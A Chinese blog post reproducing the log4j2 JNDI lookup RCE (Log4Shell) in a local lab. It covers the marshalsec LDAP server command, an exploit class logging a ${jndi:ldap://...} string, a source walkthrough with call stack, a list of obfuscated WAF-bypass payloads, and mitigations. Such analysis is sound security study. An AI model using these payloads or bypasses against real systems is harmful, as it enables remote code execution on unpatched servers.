[Java安全]—log4j2 rce复现

前言

自漏洞爆出已经半年多了,可当时还是个java啥都不懂的菜鸡所以也没能及时复现,现在捡起来复现下21年席卷整个安全圈的log4j2漏洞

log4j2

漏洞原理

log4j 是 javaweb 的日志组件,用来记录 web日志 去指定下载文件的url 在搜索框或者搜索的 url 里面加上${jndi:ldap://127.0.0.1/test} ,log4j 会对这串代码进行表达式解析,给 lookup 传递一个恶意的参数指定,参数指的是比如 ldap 不存在的资源 $ 是会被直接执行的。后面再去指定下载文件的 url,去下载我们的恶意文件。比如是 x.class 下载完成后,并且会被执行

该漏洞只影响到log4j2,并不影响log4j。

影响版本

Apache Log4j 2.x <= 2.15.0-rc1

JDK版本应该是不大于8u191,因为在此之后rmi和ldap都禁用了远程codedebase选项

安全版本

Apache log4j-2.15.0 (Apache log4j-2.15.0-rc1、Apache log4j-2.15.0-rc2都不行都存在对应的绕过)

依赖

本地测试用的是2.14版本

<dependency>
 	<groupId>org.apache.logging.log4j</groupId>
 	<artifactId>log4j-core</artifactId>
 	<version>2.14.0</version>
</dependency>

<dependency>
 	<groupId>org.apache.logging.log4j</groupId>
 	<artifactId>log4j-api</artifactId>
 	<version>2.14.0</version>
</dependency>

攻击实现

攻击方式也跟JNDI方式一样
开启本地服务

python -m http.server 7777

使用marshalsec构建LDAP服务,服务端监听:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7777/#Exec 9999

exp

package log4j2;

import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;

public class Test {
    private static final Logger log = LogManager.getLogger();
    public static void main(String[] args) {
        log.error("${jndi:ldap://127.0.0.1:9999/Sentiment}");
    }
}

流程分析

调用error后,会调用logIfEnabled()

public void logIfEnabled(final String fqcn, final Level level, final Marker marker, final String message,
        final Throwable t) {
    if (isEnabled(level, marker, message, t)) {
        logMessage(fqcn, level, marker, message, t);
    }
}

if中调用isEnabled(),为true才能继续向下执行,跟进看一下其中有好几个level

在这里插入图片描述

对应值:

在这里插入图片描述

跟进isEnabled()后又调用了filter(),最后会retrun返回bool类型的值,所以这里我们就需要绕过intLevel >= level.intLevel();intLevel 默认值为200,所以我们只需要在上边找个值小于200的即可,所以这里一开始用的是error,当然fatal亦可

在这里插入图片描述

接着一路跟进logMessage —> logMessageSafely —> logMessageTrackRecursion —> tryLogMessage —> log,在LoggerConfig.java的456这一行的log()成功弹出了计算器

在这里插入图片描述

接着在PatternLayout.java的第344行不断调用format()方法,当i=8时,就会调用到MessagePatternConverter.javaformat()方法

在这里插入图片描述

跟进看一下117行会获取workingBuilder的值,之后又进入了123行的formaTo()

在这里插入图片描述

将我们传入的值追加到workingBuilder中(buffer是原本的值即117行赋值完后的值,追加完后变成了上图的value值)

在这里插入图片描述

然后从127行开始处理workingBuilder,一旦匹配到了${,就把${一直到末尾那部分截取出来,然后进行替换:

workingBuilder.append(config.getStrSubstitutor().replace(event, value));

跟进replace(),这个函数的作用是使用给定的源字符串作为模板,用来自解析器的匹配值替换所有出现的变量。

在这里插入图片描述

跟进substitute()

用于多级插值的递归处理程序。 这是主要的插值方法,它解析传入文本中包含的所有变量引用的值。

private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length,
                       List<String> priorVariables) {
    final StrMatcher prefixMatcher = getVariablePrefixMatcher();
    final StrMatcher suffixMatcher = getVariableSuffixMatcher();
    final char escape = getEscapeChar();
    final StrMatcher valueDelimiterMatcher = getValueDelimiterMatcher();
    final boolean substitutionInVariablesEnabled = isEnableSubstitutionInVariables();

    final boolean top = priorVariables == null;
    boolean altered = false;
    int lengthChange = 0;
    char[] chars = getChars(buf);
    int bufEnd = offset + length;
    int pos = offset;
    while (pos < bufEnd) {
        final int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd);
        if (startMatchLen == 0) {
            pos++;
        } else {
            // found variable start marker
            if (pos > offset && chars[pos - 1] == escape) {
                // escaped
                buf.deleteCharAt(pos - 1);
                chars = getChars(buf);
                lengthChange--;
                altered = true;
                bufEnd--;
            } else {
                // find suffix
                final int startPos = pos;
                pos += startMatchLen;
                int endMatchLen = 0;
                int nestedVarCount = 0;
                while (pos < bufEnd) {
                    if (substitutionInVariablesEnabled
                            && (endMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd)) != 0) {
                        // found a nested variable start
                        nestedVarCount++;
                        pos += endMatchLen;
                        continue;
                    }

                    endMatchLen = suffixMatcher.isMatch(chars, pos, offset, bufEnd);
                    if (endMatchLen == 0) {
                        pos++;
                    } else {
                        // found variable end marker
                        if (nestedVarCount == 0) {
                            String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen);
                            if (substitutionInVariablesEnabled) {
                                final StringBuilder bufName = new StringBuilder(varNameExpr);
                                substitute(event, bufName, 0, bufName.length());
                                varNameExpr = bufName.toString();
                            }
                            pos += endMatchLen;
                            final int endPos = pos;

                            String varName = varNameExpr;
                            String varDefaultValue = null;

                            if (valueDelimiterMatcher != null) {
                                final char [] varNameExprChars = varNameExpr.toCharArray();
                                int valueDelimiterMatchLen = 0;
                                for (int i = 0; i < varNameExprChars.length; i++) {
                                    // if there's any nested variable when nested variable substitution disabled, then stop resolving name and default value.
                                    if (!substitutionInVariablesEnabled
                                            && prefixMatcher.isMatch(varNameExprChars, i, i, varNameExprChars.length) != 0) {
                                        break;
                                    }
                                    if (valueEscapeDelimiterMatcher != null) {
                                        int matchLen = valueEscapeDelimiterMatcher.isMatch(varNameExprChars, i);
                                        if (matchLen != 0) {
                                            String varNamePrefix = varNameExpr.substring(0, i) + Interpolator.PREFIX_SEPARATOR;
                                            varName = varNamePrefix + varNameExpr.substring(i + matchLen - 1);
                                            for (int j = i + matchLen; j < varNameExprChars.length; ++j){
                                                if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, j)) != 0) {
                                                    varName = varNamePrefix + varNameExpr.substring(i + matchLen, j);
                                                    varDefaultValue = varNameExpr.substring(j + valueDelimiterMatchLen);
                                                    break;
                                                }
                                            }
                                            break;
                                        } else {
                                            if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
                                                varName = varNameExpr.substring(0, i);
                                                varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
                                                break;
                                            }
                                        }
                                    } else {
                                        if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
                                            varName = varNameExpr.substring(0, i);
                                            varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
                                            break;
                                        }
                                    }
                                }
                            }

                            // on the first call initialize priorVariables
                            if (priorVariables == null) {
                                priorVariables = new ArrayList<>();
                                priorVariables.add(new String(chars, offset, length + lengthChange));
                            }

                            // handle cyclic substitution
                            checkCyclicSubstitution(varName, priorVariables);
                            priorVariables.add(varName);

                            // resolve the variable
                            String varValue = resolveVariable(event, varName, buf, startPos, endPos);

prefixMatcher是${,suffixMatcher是}

接着在final int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd);判断是否匹配到${,得到偏移2

同理递归获取endMatchLen}的偏移,当pos=38时,成功获取偏移1,继续向下执行

接着通过刚刚获取的startMatchLen和pos的值,对chars进行截取,即截取${}中的内容jndi:ldap://127.0.0.1:9999/Sentiment

String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen);

接着又对jndi:ldap://127.0.0.1:9999/Sentiment执行了substitute()

if (substitutionInVariablesEnabled) {
    final StringBuilder bufName = new StringBuilder(varNameExpr);
    substitute(event, bufName, 0, bufName.length());
    varNameExpr = bufName.toString();
}

这种递归调用有点类似于SPEL表达式注入中的方式,就是为了避免出现这种嵌套的方式:${${}}

都处理完之后就到了下边的resolveVariable(),其中varName就是${}内的值,buf就是加上${}的值

String varValue = resolveVariable(event, varName, buf, startPos, endPos);

之后就到了lookup,

在这里插入图片描述

继续跟进

在这里插入图片描述

①获取PREFIX_SEPARATOR的索引4,PREFIX_SEPARATOR=" : "

②prefix获取索引后,通过索引进行个截断,即通过冒号截断,将jndi:ldap://127.0.0.1:9999/Sentiment的jndi截取了出来

③name获取冒号后的值即:ldap://127.0.0.1:9999/Sentiment

④获取前缀jndi后,在通过再根据前缀得到lookup

在这里插入图片描述

⑤执行lookup

跟进后经过逐级调用后进入了jndi的ldap攻击方式的流程,最后弹出计算机

在这里插入图片描述

调用栈

<init>:6, Exec
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:223, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1116, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1038, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:345, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:543, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:502, LoggerConfig (org.apache.logging.log4j.core.config)
log:485, LoggerConfig (org.apache.logging.log4j.core.config)
log:460, LoggerConfig (org.apache.logging.log4j.core.config)
log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2198, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2152, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2135, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2011, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
error:740, AbstractLogger (org.apache.logging.log4j.spi)
main:9, Test (log4j2)

Bypass

${jndi:ldap://domain.com/j}
${jndi:ldap:/domain.com/a}
${jndi:dns:/domain.com}
${jndi:dns://domain.com/j}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://domain.com/j}
${${::-j}ndi:rmi://domain.com/j}
${jndi:rmi://domainldap.com/j}
${${lower:jndi}:${lower:rmi}://domain.com/j}
${${lower:${lower:jndi}}:${lower:rmi}://domain.com/j}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://domain.com/j}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://domain.com/j}
${jndi:${lower:l}${lower:d}a${lower:p}://domain.com}
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//domain.com/a}
jn${env::-}di:
jn${date:}di${date:':'}
j${k8s:k5:-ND}i${sd:k5:-:}
j${main:\k5:-Nd}i${spring:k5:-:}
j${sys:k5:-nD}${lower:i${web:k5:-:}}
j${::-nD}i${::-:}
j${EnV:K5:-nD}i:
j${loWer:Nd}i${uPper::}

修复建议

升级JDK

  • JDK使用11.0.1、8u191、7u201、6u211及以上的高版本

log4j2配置

  • 添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true
  • 系统环境变量“FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS”设置为“true”
  • 设置“log4j2.formatMsgNoLookups=True”
  • 禁止服务器外连

第三方产品

  • 部署使用第三方防火墙产品进行安全防护。

官方方案

  • 将log4j框架升级至最新版本
  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值